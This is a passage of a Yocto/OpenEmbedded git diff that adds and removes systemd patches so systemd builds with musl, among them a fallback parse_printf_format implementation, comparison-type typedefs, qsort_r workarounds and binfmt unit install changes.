+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[Rebased for v242]
+Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
+[Rebased for v250, Drop __compare_fn_t]
+Signed-off-by: Jiaqing Zhao <jiaqing.zhao@linux.intel.com>
+---
+ src/basic/missing_type.h | 4 ++++
+ src/basic/sort-util.h | 1 +
+ src/libsystemd/sd-journal/catalog.c | 1 +
+ 3 files changed, 6 insertions(+)
+
+diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
+index f6233090a9..6c0456349d 100644
+--- a/src/basic/missing_type.h
++++ b/src/basic/missing_type.h
+@@ -10,3 +10,7 @@
+ #if !HAVE_CHAR16_T
+ #define char16_t uint16_t
+ #endif
++
++#ifndef __GLIBC__
++typedef int (*comparison_fn_t)(const void *, const void *);
++#endif
+diff --git a/src/basic/sort-util.h b/src/basic/sort-util.h
+index 9c818bd747..ef10c8be2c 100644
+--- a/src/basic/sort-util.h
++++ b/src/basic/sort-util.h
+@@ -4,6 +4,7 @@
+ #include <stdlib.h>
+
+ #include "macro.h"
++#include "missing_type.h"
+
+ /* This is the same as glibc's internal __compar_d_fn_t type. glibc exports a public comparison_fn_t, for the
+ * external type __compar_fn_t, but doesn't do anything similar for __compar_d_fn_t. Let's hence do that
+diff --git a/src/libsystemd/sd-journal/catalog.c b/src/libsystemd/sd-journal/catalog.c
+index ae91534198..7f67eea38b 100644
+--- a/src/libsystemd/sd-journal/catalog.c
++++ b/src/libsystemd/sd-journal/catalog.c
+@@ -28,6 +28,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "tmpfile-util.h"
++#include "missing_type.h"
+
+ const char * const catalog_file_dirs[] = {
+ "/usr/local/lib/systemd/catalog/",
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0002-add-fallback-parse_printf_format-implementation.patch b/meta/recipes-core/systemd/systemd/0002-add-fallback-parse_printf_format-implementation.patch
new file mode 100644
index 0000000000..900a931632
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0002-add-fallback-parse_printf_format-implementation.patch
@@ -0,0 +1,434 @@
+From 872b72739e62123867ce6c4f82aa37de24cc3f75 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sat, 22 May 2021 20:26:24 +0200
+Subject: [PATCH 02/22] add fallback parse_printf_format implementation
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Emil Renner Berthing <systemd@esmil.dk>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+---
+ meson.build | 1 +
+ src/basic/meson.build | 5 +
+ src/basic/parse-printf-format.c | 273 +++++++++++++++++++++++
+ src/basic/parse-printf-format.h | 57 +++++
+ src/basic/stdio-util.h | 2 +-
+ src/libsystemd/sd-journal/journal-send.c | 2 +-
+ 6 files changed, 338 insertions(+), 2 deletions(-)
+ create mode 100644 src/basic/parse-printf-format.c
+ create mode 100644 src/basic/parse-printf-format.h
+
+diff --git a/meson.build b/meson.build
+index 7419e2b0b0..01fd3ffc19 100644
+--- a/meson.build
++++ b/meson.build
+@@ -725,6 +725,7 @@ endif
+ foreach header : ['crypt.h',
+ 'linux/memfd.h',
+ 'linux/vm_sockets.h',
++ 'printf.h',
+ 'sys/auxv.h',
+ 'threads.h',
+ 'valgrind/memcheck.h',
+diff --git a/src/basic/meson.build b/src/basic/meson.build
+index d7450d8b44..c3e3daf4bd 100644
+--- a/src/basic/meson.build
++++ b/src/basic/meson.build
+@@ -183,6 +183,11 @@ endforeach
+
+ basic_sources += generated_gperf_headers
+
++if conf.get('HAVE_PRINTF_H') != 1
++ basic_sources += [files('parse-printf-format.c')]
++endif
++
++
+ ############################################################
+
+ arch_list = [
+diff --git a/src/basic/parse-printf-format.c b/src/basic/parse-printf-format.c
+new file mode 100644
+index 0000000000..49437e5445
+--- /dev/null
++++ b/src/basic/parse-printf-format.c
+@@ -0,0 +1,273 @@
++/*-*- Mode: C; c-basic-offset: 8; indent-tabs-mode: nil -*-*/
++
++/***
++ This file is part of systemd.
++
++ Copyright 2014 Emil Renner Berthing <systemd@esmil.dk>
++
++ With parts from the musl C library
++ Copyright 2005-2014 Rich Felker, et al.
++
++ systemd is free software; you can redistribute it and/or modify it
++ under the terms of the GNU Lesser General Public License as published by
++ the Free Software Foundation; either version 2.1 of the License, or
++ (at your option) any later version.
++
++ systemd is distributed in the hope that it will be useful, but
++ WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with systemd; If not, see <http://www.gnu.org/licenses/>.
++***/
++
++#include <stddef.h>
++#include <string.h>
++
++#include "parse-printf-format.h"
++
++static const char *consume_nonarg(const char *fmt)
++{
++ do {
++ if (*fmt == '\0')
++ return fmt;
++ } while (*fmt++ != '%');
++ return fmt;
++}
++
++static const char *consume_num(const char *fmt)
++{
++ for (;*fmt >= '0' && *fmt <= '9'; fmt++)
++ /* do nothing */;
++ return fmt;
++}
++
++static const char *consume_argn(const char *fmt, size_t *arg)
++{
++ const char *p = fmt;
++ size_t val = 0;
++
++ if (*p < '1' || *p > '9')
++ return fmt;
++ do {
++ val = 10*val + (*p++ - '0');
++ } while (*p >= '0' && *p <= '9');
++
++ if (*p != '$')
++ return fmt;
++ *arg = val;
++ return p+1;
++}
++
++static const char *consume_flags(const char *fmt)
++{
++ while (1) {
++ switch (*fmt) {
++ case '#':
++ case '0':
++ case '-':
++ case ' ':
++ case '+':
++ case '\'':
++ case 'I':
++ fmt++;
++ continue;
++ }
++ return fmt;
++ }
++}
++
++enum state {
++ BARE,
++ LPRE,
++ LLPRE,
++ HPRE,
++ HHPRE,
++ BIGLPRE,
++ ZTPRE,
++ JPRE,
++ STOP
++};
++
++enum type {
++ NONE,
++ PTR,
++ INT,
++ UINT,
++ ULLONG,
++ LONG,
++ ULONG,
++ SHORT,
++ USHORT,
++ CHAR,
++ UCHAR,
++ LLONG,
++ SIZET,
++ IMAX,
++ UMAX,
++ PDIFF,
++ UIPTR,
++ DBL,
++ LDBL,
++ MAXTYPE
++};
++
++static const short pa_types[MAXTYPE] = {
++ [NONE] = PA_INT,
++ [PTR] = PA_POINTER,
++ [INT] = PA_INT,
++ [UINT] = PA_INT,
++ [ULLONG] = PA_INT | PA_FLAG_LONG_LONG,
++ [LONG] = PA_INT | PA_FLAG_LONG,
++ [ULONG] = PA_INT | PA_FLAG_LONG,
++ [SHORT] = PA_INT | PA_FLAG_SHORT,
++ [USHORT] = PA_INT | PA_FLAG_SHORT,
++ [CHAR] = PA_CHAR,
++ [UCHAR] = PA_CHAR,
++ [LLONG] = PA_INT | PA_FLAG_LONG_LONG,
++ [SIZET] = PA_INT | PA_FLAG_LONG,
++ [IMAX] = PA_INT | PA_FLAG_LONG_LONG,
++ [UMAX] = PA_INT | PA_FLAG_LONG_LONG,
++ [PDIFF] = PA_INT | PA_FLAG_LONG_LONG,
++ [UIPTR] = PA_INT | PA_FLAG_LONG,
++ [DBL] = PA_DOUBLE,
++ [LDBL] = PA_DOUBLE | PA_FLAG_LONG_DOUBLE
++};
++
++#define S(x) [(x)-'A']
++#define E(x) (STOP + (x))
++
++static const unsigned char states[]['z'-'A'+1] = {
++ { /* 0: bare types */
++ S('d') = E(INT), S('i') = E(INT),
++ S('o') = E(UINT),S('u') = E(UINT),S('x') = E(UINT), S('X') = E(UINT),
++ S('e') = E(DBL), S('f') = E(DBL), S('g') = E(DBL), S('a') = E(DBL),
++ S('E') = E(DBL), S('F') = E(DBL), S('G') = E(DBL), S('A') = E(DBL),
++ S('c') = E(CHAR),S('C') = E(INT),
++ S('s') = E(PTR), S('S') = E(PTR), S('p') = E(UIPTR),S('n') = E(PTR),
++ S('m') = E(NONE),
++ S('l') = LPRE, S('h') = HPRE, S('L') = BIGLPRE,
++ S('z') = ZTPRE, S('j') = JPRE, S('t') = ZTPRE
++ }, { /* 1: l-prefixed */
++ S('d') = E(LONG), S('i') = E(LONG),
++ S('o') = E(ULONG),S('u') = E(ULONG),S('x') = E(ULONG),S('X') = E(ULONG),
++ S('e') = E(DBL), S('f') = E(DBL), S('g') = E(DBL), S('a') = E(DBL),
++ S('E') = E(DBL), S('F') = E(DBL), S('G') = E(DBL), S('A') = E(DBL),
++ S('c') = E(INT), S('s') = E(PTR), S('n') = E(PTR),
++ S('l') = LLPRE
++ }, { /* 2: ll-prefixed */
++ S('d') = E(LLONG), S('i') = E(LLONG),
++ S('o') = E(ULLONG),S('u') = E(ULLONG),
++ S('x') = E(ULLONG),S('X') = E(ULLONG),
++ S('n') = E(PTR)
++ }, { /* 3: h-prefixed */
++ S('d') = E(SHORT), S('i') = E(SHORT),
++ S('o') = E(USHORT),S('u') = E(USHORT),
++ S('x') = E(USHORT),S('X') = E(USHORT),
++ S('n') = E(PTR),
++ S('h') = HHPRE
++ }, { /* 4: hh-prefixed */
++ S('d') = E(CHAR), S('i') = E(CHAR),
++ S('o') = E(UCHAR),S('u') = E(UCHAR),
++ S('x') = E(UCHAR),S('X') = E(UCHAR),
++ S('n') = E(PTR)
++ }, { /* 5: L-prefixed */
++ S('e') = E(LDBL),S('f') = E(LDBL),S('g') = E(LDBL), S('a') = E(LDBL),
++ S('E') = E(LDBL),S('F') = E(LDBL),S('G') = E(LDBL), S('A') = E(LDBL),
++ S('n') = E(PTR)
++ }, { /* 6: z- or t-prefixed (assumed to be same size) */
++ S('d') = E(PDIFF),S('i') = E(PDIFF),
++ S('o') = E(SIZET),S('u') = E(SIZET),
++ S('x') = E(SIZET),S('X') = E(SIZET),
++ S('n') = E(PTR)
++ }, { /* 7: j-prefixed */
++ S('d') = E(IMAX), S('i') = E(IMAX),
++ S('o') = E(UMAX), S('u') = E(UMAX),
++ S('x') = E(UMAX), S('X') = E(UMAX),
++ S('n') = E(PTR)
++ }
++};
++
++size_t parse_printf_format(const char *fmt, size_t n, int *types)
++{
++ size_t i = 0;
++ size_t last = 0;
++
++ memset(types, 0, n);
++
++ while (1) {
++ size_t arg;
++ unsigned int state;
++
++ fmt = consume_nonarg(fmt);
++ if (*fmt == '\0')
++ break;
++ if (*fmt == '%') {
++ fmt++;
++ continue;
++ }
++ arg = 0;
++ fmt = consume_argn(fmt, &arg);
++ /* flags */
++ fmt = consume_flags(fmt);
++ /* width */
++ if (*fmt == '*') {
++ size_t warg = 0;
++ fmt = consume_argn(fmt+1, &warg);
++ if (warg == 0)
++ warg = ++i;
++ if (warg > last)
++ last = warg;
++ if (warg <= n && types[warg-1] == NONE)
++ types[warg-1] = INT;
++ } else
++ fmt = consume_num(fmt);
++ /* precision */
++ if (*fmt == '.') {
++ fmt++;
++ if (*fmt == '*') {
++ size_t parg = 0;
++ fmt = consume_argn(fmt+1, &parg);
++ if (parg == 0)
++ parg = ++i;
++ if (parg > last)
++ last = parg;
++ if (parg <= n && types[parg-1] == NONE)
++ types[parg-1] = INT;
++ } else {
++ if (*fmt == '-')
++ fmt++;
++ fmt = consume_num(fmt);
++ }
++ }
++ /* length modifier and conversion specifier */
++ state = BARE;
++ do {
++ unsigned char c = *fmt++;
++
++ if (c < 'A' || c > 'z')
++ continue;
++ state = states[state]S(c);
++ if (state == 0)
++ continue;
++ } while (state < STOP);
++
++ if (state == E(NONE))
++ continue;
++
++ if (arg == 0)
++ arg = ++i;
++ if (arg > last)
++ last = arg;
++ if (arg <= n)
++ types[arg-1] = state - STOP;
++ }
++
++ if (last > n)
++ last = n;
++ for (i = 0; i < last; i++)
++ types[i] = pa_types[types[i]];
++
++ return last;
++}
+diff --git a/src/basic/parse-printf-format.h b/src/basic/parse-printf-format.h
+new file mode 100644
+index 0000000000..47be7522d7
+--- /dev/null
++++ b/src/basic/parse-printf-format.h
+@@ -0,0 +1,57 @@
++/*-*- Mode: C; c-basic-offset: 8; indent-tabs-mode: nil -*-*/
++
++/***
++ This file is part of systemd.
++
++ Copyright 2014 Emil Renner Berthing <systemd@esmil.dk>
++
++ With parts from the GNU C Library
++ Copyright 1991-2014 Free Software Foundation, Inc.
++
++ systemd is free software; you can redistribute it and/or modify it
++ under the terms of the GNU Lesser General Public License as published by
++ the Free Software Foundation; either version 2.1 of the License, or
++ (at your option) any later version.
++
++ systemd is distributed in the hope that it will be useful, but
++ WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with systemd; If not, see <http://www.gnu.org/licenses/>.
++***/
++
++#pragma once
++
++#include "config.h"
++
++#if HAVE_PRINTF_H
++#include <printf.h>
++#else
++
++#include <stddef.h>
++
++enum { /* C type: */
++ PA_INT, /* int */
++ PA_CHAR, /* int, cast to char */
++ PA_WCHAR, /* wide char */
++ PA_STRING, /* const char *, a '\0'-terminated string */
++ PA_WSTRING, /* const wchar_t *, wide character string */
++ PA_POINTER, /* void * */
++ PA_FLOAT, /* float */
++ PA_DOUBLE, /* double */
++ PA_LAST
++};
++
++/* Flag bits that can be set in a type returned by `parse_printf_format'. */
++#define PA_FLAG_MASK 0xff00
++#define PA_FLAG_LONG_LONG (1 << 8)
++#define PA_FLAG_LONG_DOUBLE PA_FLAG_LONG_LONG
++#define PA_FLAG_LONG (1 << 9)
++#define PA_FLAG_SHORT (1 << 10)
++#define PA_FLAG_PTR (1 << 11)
++
++size_t parse_printf_format(const char *fmt, size_t n, int *types);
++
++#endif /* HAVE_PRINTF_H */
+diff --git a/src/basic/stdio-util.h b/src/basic/stdio-util.h
+index 4e93ac90c9..f9deb6f662 100644
+--- a/src/basic/stdio-util.h
++++ b/src/basic/stdio-util.h
+@@ -1,12 +1,12 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+ #pragma once
+
+-#include <printf.h>
+ #include <stdarg.h>
+ #include <stdio.h>
+ #include <sys/types.h>
+
+ #include "macro.h"
++#include "parse-printf-format.h"
+
+ _printf_(3, 4)
+ static inline char *snprintf_ok(char *buf, size_t len, const char *format, ...) {
+diff --git a/src/libsystemd/sd-journal/journal-send.c b/src/libsystemd/sd-journal/journal-send.c
+index be23b2fe75..69a2eb6404 100644
+--- a/src/libsystemd/sd-journal/journal-send.c
++++ b/src/libsystemd/sd-journal/journal-send.c
+@@ -2,7 +2,6 @@
+
+ #include <errno.h>
+ #include <fcntl.h>
+-#include <printf.h>
+ #include <stddef.h>
+ #include <sys/un.h>
+ #include <unistd.h>
+@@ -28,6 +27,7 @@
+ #include "stdio-util.h"
+ #include "string-util.h"
+ #include "tmpfile-util.h"
++#include "parse-printf-format.h"
+
+ #define SNDBUF_SIZE (8*1024*1024)
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0002-binfmt-Don-t-install-dependency-links-at-install-tim.patch b/meta/recipes-core/systemd/systemd/0002-binfmt-Don-t-install-dependency-links-at-install-tim.patch
new file mode 100644
index 0000000000..be231cf6b2
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0002-binfmt-Don-t-install-dependency-links-at-install-tim.patch
@@ -0,0 +1,79 @@
+From 29a58009a172e369ad7166e16dab2f4945c6b0d2 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 21 Feb 2019 16:23:24 +0800
+Subject: [PATCH 1/2] binfmt: Don't install dependency links at install time
+ for the binfmt services
+
+use [Install] blocks so that they get created when the service is enabled
+like a traditional service.
+
+The [Install] blocks were rejected upstream as they don't have a way to
+"enable" it on install without static symlinks which can't be disabled,
+only masked. We however can do that in a postinst.
+
+Upstream-Status: Denied
+
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+---
+ units/meson.build | 2 --
+ units/proc-sys-fs-binfmt_misc.automount | 3 +++
+ units/systemd-binfmt.service.in | 4 ++++
+ 3 files changed, 7 insertions(+), 2 deletions(-)
+
+diff --git a/units/meson.build b/units/meson.build
+index e7bfb7f838..1d5ec4b178 100644
+--- a/units/meson.build
++++ b/units/meson.build
+@@ -154,7 +154,6 @@ units = [
+ {
+ 'file' : 'proc-sys-fs-binfmt_misc.automount',
+ 'conditions' : ['ENABLE_BINFMT'],
+- 'symlinks' : ['sysinit.target.wants/'],
+ },
+ {
+ 'file' : 'proc-sys-fs-binfmt_misc.mount',
+@@ -251,7 +250,6 @@ units = [
+ {
+ 'file' : 'systemd-binfmt.service.in',
+ 'conditions' : ['ENABLE_BINFMT'],
+- 'symlinks' : ['sysinit.target.wants/'],
+ },
+ {
+ 'file' : 'systemd-bless-boot.service.in',
+diff --git a/units/proc-sys-fs-binfmt_misc.automount b/units/proc-sys-fs-binfmt_misc.automount
+index 5d212015a5..6c2900ca77 100644
+--- a/units/proc-sys-fs-binfmt_misc.automount
++++ b/units/proc-sys-fs-binfmt_misc.automount
+@@ -22,3 +22,6 @@ Before=shutdown.target
+
+ [Automount]
+ Where=/proc/sys/fs/binfmt_misc
++
++[Install]
++WantedBy=sysinit.target
+diff --git a/units/systemd-binfmt.service.in b/units/systemd-binfmt.service.in
+index 6861c76674..531e9fbd90 100644
+--- a/units/systemd-binfmt.service.in
++++ b/units/systemd-binfmt.service.in
+@@ -14,6 +14,7 @@ Documentation=https://docs.kernel.org/admin-guide/binfmt-misc.html
+ Documentation=https://www.freedesktop.org/wiki/Software/systemd/APIFileSystems
+ DefaultDependencies=no
+ Conflicts=shutdown.target
++Wants=proc-sys-fs-binfmt_misc.automount
+ After=proc-sys-fs-binfmt_misc.automount
+ After=proc-sys-fs-binfmt_misc.mount
+ After=local-fs.target
+@@ -31,3 +32,6 @@ RemainAfterExit=yes
+ ExecStart={{LIBEXECDIR}}/systemd-binfmt
+ ExecStop={{LIBEXECDIR}}/systemd-binfmt --unregister
+ TimeoutSec=90s
++
++[Install]
++WantedBy=sysinit.target
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch b/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch
deleted file mode 100644
index 30fe9a14df..0000000000
--- a/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch
+++ /dev/null
@@ -1,161 +0,0 @@
-From 3eb12a6ba0bce149717eaabeb1505d379b3d705a Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 13:41:41 +0800
-Subject: [PATCH] don't use glibc-specific qsort_r
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[Rebased for v241]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[Rebased for v242]
-Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-
----
- src/basic/sort-util.h | 14 ------------
- src/libsystemd/sd-hwdb/hwdb-util.c | 19 +++++++++++-----
- src/shared/format-table.c | 36 ++++++++++++++++++++----------
- 3 files changed, 38 insertions(+), 31 deletions(-)
-
-Index: systemd-stable/src/basic/sort-util.h
-===================================================================
---- systemd-stable.orig/src/basic/sort-util.h
-+++ systemd-stable/src/basic/sort-util.h
-@@ -54,17 +54,3 @@ static inline void _qsort_safe(void *bas
- int (*_func_)(const typeof(p[0])*, const typeof(p[0])*) = func; \
- _qsort_safe((p), (n), sizeof((p)[0]), (__compar_fn_t) _func_); \
- })
--
--static inline void qsort_r_safe(void *base, size_t nmemb, size_t size, __compar_d_fn_t compar, void *userdata) {
-- if (nmemb <= 1)
-- return;
--
-- assert(base);
-- qsort_r(base, nmemb, size, compar, userdata);
--}
--
--#define typesafe_qsort_r(p, n, func, userdata) \
-- ({ \
-- int (*_func_)(const typeof(p[0])*, const typeof(p[0])*, typeof(userdata)) = func; \
-- qsort_r_safe((p), (n), sizeof((p)[0]), (__compar_d_fn_t) _func_, userdata); \
-- })
-Index: systemd-stable/src/libsystemd/sd-hwdb/hwdb-util.c
-===================================================================
---- systemd-stable.orig/src/libsystemd/sd-hwdb/hwdb-util.c
-+++ systemd-stable/src/libsystemd/sd-hwdb/hwdb-util.c
-@@ -128,9 +128,13 @@ static void trie_free(struct trie *trie)
-
- DEFINE_TRIVIAL_CLEANUP_FUNC(struct trie*, trie_free);
-
--static int trie_values_cmp(const struct trie_value_entry *a, const struct trie_value_entry *b, struct trie *trie) {
-- return strcmp(trie->strings->buf + a->key_off,
-- trie->strings->buf + b->key_off);
-+static struct trie *trie_node_add_value_trie;
-+static int trie_values_cmp(const void *v1, const void *v2) {
-+ const struct trie_value_entry *a = v1;
-+ const struct trie_value_entry *b = v2;
-+
-+ return strcmp(trie_node_add_value_trie->strings->buf + a->key_off,
-+ trie_node_add_value_trie->strings->buf + b->key_off);
- }
-
- static int trie_node_add_value(struct trie *trie, struct trie_node *node,
-@@ -158,7 +162,10 @@ static int trie_node_add_value(struct tr
- .value_off = v,
- };
-
-- val = typesafe_bsearch_r(&search, node->values, node->values_count, trie_values_cmp, trie);
-+ trie_node_add_value_trie = trie;
-+ val = bsearch(&search, node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
-+ trie_node_add_value_trie = NULL;
-+
- if (val) {
- /* At this point we have 2 identical properties on the same match-string.
- * Since we process files in order, we just replace the previous value. */
-@@ -184,7 +191,9 @@ static int trie_node_add_value(struct tr
- .line_number = line_number,
- };
- node->values_count++;
-- typesafe_qsort_r(node->values, node->values_count, trie_values_cmp, trie);
-+ trie_node_add_value_trie = trie;
-+ qsort(node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
-+ trie_node_add_value_trie = NULL;
- return 0;
- }
-
-Index: systemd-stable/src/shared/format-table.c
-===================================================================
---- systemd-stable.orig/src/shared/format-table.c
-+++ systemd-stable/src/shared/format-table.c
-@@ -1246,31 +1246,33 @@ static int cell_data_compare(TableData *
- return CMP(index_a, index_b);
- }
-
--static int table_data_compare(const size_t *a, const size_t *b, Table *t) {
-+static Table *user_table;
-+static int table_data_compare(const void *x, const void *y) {
-+ const size_t *a = x, *b=y;
- size_t i;
- int r;
-
-- assert(t);
-- assert(t->sort_map);
-+ assert(user_table);
-+ assert(user_table->sort_map);
-
- /* Make sure the header stays at the beginning */
-- if (*a < t->n_columns && *b < t->n_columns)
-+ if (*a < user_table->n_columns && *b < user_table->n_columns)
- return 0;
-- if (*a < t->n_columns)
-+ if (*a < user_table->n_columns)
- return -1;
-- if (*b < t->n_columns)
-+ if (*b < user_table->n_columns)
- return 1;
-
- /* Order other lines by the sorting map */
-- for (i = 0; i < t->n_sort_map; i++) {
-+ for (i = 0; i < user_table->n_sort_map; i++) {
- TableData *d, *dd;
-
-- d = t->data[*a + t->sort_map[i]];
-- dd = t->data[*b + t->sort_map[i]];
-+ d = user_table->data[*a + user_table->sort_map[i]];
-+ dd = user_table->data[*b + user_table->sort_map[i]];
-
- r = cell_data_compare(d, *a, dd, *b);
- if (r != 0)
-- return t->reverse_map && t->reverse_map[t->sort_map[i]] ? -r : r;
-+ return user_table->reverse_map && user_table->reverse_map[user_table->sort_map[i]] ? -r : r;
- }
-
- /* Order identical lines by the order there were originally added in */
-@@ -1798,7 +1800,12 @@ int table_print(Table *t, FILE *f) {
- for (i = 0; i < n_rows; i++)
- sorted[i] = i * t->n_columns;
-
-- typesafe_qsort_r(sorted, n_rows, table_data_compare, t);
-+ if (n_rows <= 1)
-+ return 0;
-+ assert(sorted);
-+ user_table = t;
-+ qsort(sorted, n_rows, sizeof(size_t), table_data_compare);
-+ user_table = NULL;
- }
-
- if (t->display_map)
-@@ -2375,7 +2382,12 @@ int table_to_json(Table *t, JsonVariant
- for (i = 0; i < n_rows; i++)
- sorted[i] = i * t->n_columns;
-
-- typesafe_qsort_r(sorted, n_rows, table_data_compare, t);
-+ if (n_rows <= 1)
-+ return 0;
-+ assert(sorted);
-+ user_table = t;
-+ qsort(sorted, n_rows, sizeof(size_t), table_data_compare);
-+ user_table = NULL;
- }
-
- if (t->display_map)
diff --git a/meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch b/meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch
deleted file mode 100644
index ba7424d876..0000000000
--- a/meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 106922335ec502bcb4451c54a89be49f88fa54de Mon Sep 17 00:00:00 2001
-From: Scott Murray <scott.murray@konsulko.com>
-Date: Fri, 13 Sep 2019 19:26:27 -0400
-Subject: [PATCH] Include sys/wait.h
-
-Fixes:
-src/login/logind-brightness.c:158:85: error: 'WEXITED' undeclared (first use in this function); did you mean 'WIFEXITED'?
- 158 | r = sd_event_add_child(w->manager->event, &w->child_event_source, w->child, WEXITED, on_brightness_writer_exit, w);
- | ^~~~~~~
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/login/logind-brightness.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/login/logind-brightness.c b/src/login/logind-brightness.c
-index 3f4b65e1fdf1..5af7e3d5ce3f 100644
---- a/src/login/logind-brightness.c
-+++ b/src/login/logind-brightness.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <sys/wait.h>
- #include "bus-util.h"
- #include "device-util.h"
- #include "hash-funcs.h"
diff --git a/meta/recipes-core/systemd/systemd/0003-implment-systemd-sysv-install-for-OE.patch b/meta/recipes-core/systemd/systemd/0003-implment-systemd-sysv-install-for-OE.patch
deleted file mode 100644
index c6204786b3..0000000000
--- a/meta/recipes-core/systemd/systemd/0003-implment-systemd-sysv-install-for-OE.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From f9078501a1495c9991431d1435d081cd2e830328 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 5 Sep 2015 06:31:47 +0000
-Subject: [PATCH] implment systemd-sysv-install for OE
-
-Use update-rc.d for enabling/disabling and status command
-to check the status of the sysv service
-
-Upstream-Status: Inappropriate [OE-Specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- src/systemctl/systemd-sysv-install.SKELETON | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/systemctl/systemd-sysv-install.SKELETON b/src/systemctl/systemd-sysv-install.SKELETON
-index 8c16cf99913f..9f078a121469 100755
---- a/src/systemctl/systemd-sysv-install.SKELETON
-+++ b/src/systemctl/systemd-sysv-install.SKELETON
-@@ -32,17 +32,17 @@ case "$1" in
- enable)
- # call the command to enable SysV init script $NAME here
- # (consider optional $ROOT)
-- echo "IMPLEMENT ME: enabling SysV init.d script $NAME"
-+ update-rc.d -f $NAME defaults
- ;;
- disable)
- # call the command to disable SysV init script $NAME here
- # (consider optional $ROOT)
-- echo "IMPLEMENT ME: disabling SysV init.d script $NAME"
-+ update-rc.d -f $NAME remove
- ;;
- is-enabled)
- # exit with 0 if $NAME is enabled, non-zero if it is disabled
- # (consider optional $ROOT)
-- echo "IMPLEMENT ME: checking SysV init.d script $NAME"
-+ /etc/init.d/$NAME status
- ;;
- *)
- usage ;;
diff --git a/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch b/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch
deleted file mode 100644
index 1404895143..0000000000
--- a/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch
+++ /dev/null
@@ -1,76 +0,0 @@
-From 233de872b9b033ec842c2135152d2e006ac44c16 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 13:55:12 +0800
-Subject: [PATCH] missing_type.h: add __compare_fn_t and comparison_fn_t
-
-Make it work with musl where comparison_fn_t and __compare_fn_t
-is not provided.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
-[Rebased for v244]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[Rebased for v242]
-Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-
----
- src/basic/missing_type.h | 9 +++++++++
- src/basic/sort-util.h | 1 +
- src/core/kmod-setup.c | 1 +
- src/journal/catalog.c | 1 +
- 4 files changed, 12 insertions(+)
-
-diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
-index bf8a6caa1b46..c487e65e7bde 100644
---- a/src/basic/missing_type.h
-+++ b/src/basic/missing_type.h
-@@ -10,3 +10,12 @@
- #if !HAVE_CHAR16_T
- #define char16_t uint16_t
- #endif
-+
-+#ifndef __GLIBC__
-+typedef int (*comparison_fn_t)(const void *, const void *);
-+#endif
-+
-+#ifndef __COMPAR_FN_T
-+#define __COMPAR_FN_T
-+typedef int (*__compar_fn_t)(const void *, const void *);
-+#endif
-diff --git a/src/basic/sort-util.h b/src/basic/sort-util.h
-index 27d68b341cf3..307ea4ac0e8e 100644
---- a/src/basic/sort-util.h
-+++ b/src/basic/sort-util.h
-@@ -4,6 +4,7 @@
- #include <stdlib.h>
-
- #include "macro.h"
-+#include "missing_type.h"
-
- void *xbsearch_r(const void *key, const void *base, size_t nmemb, size_t size,
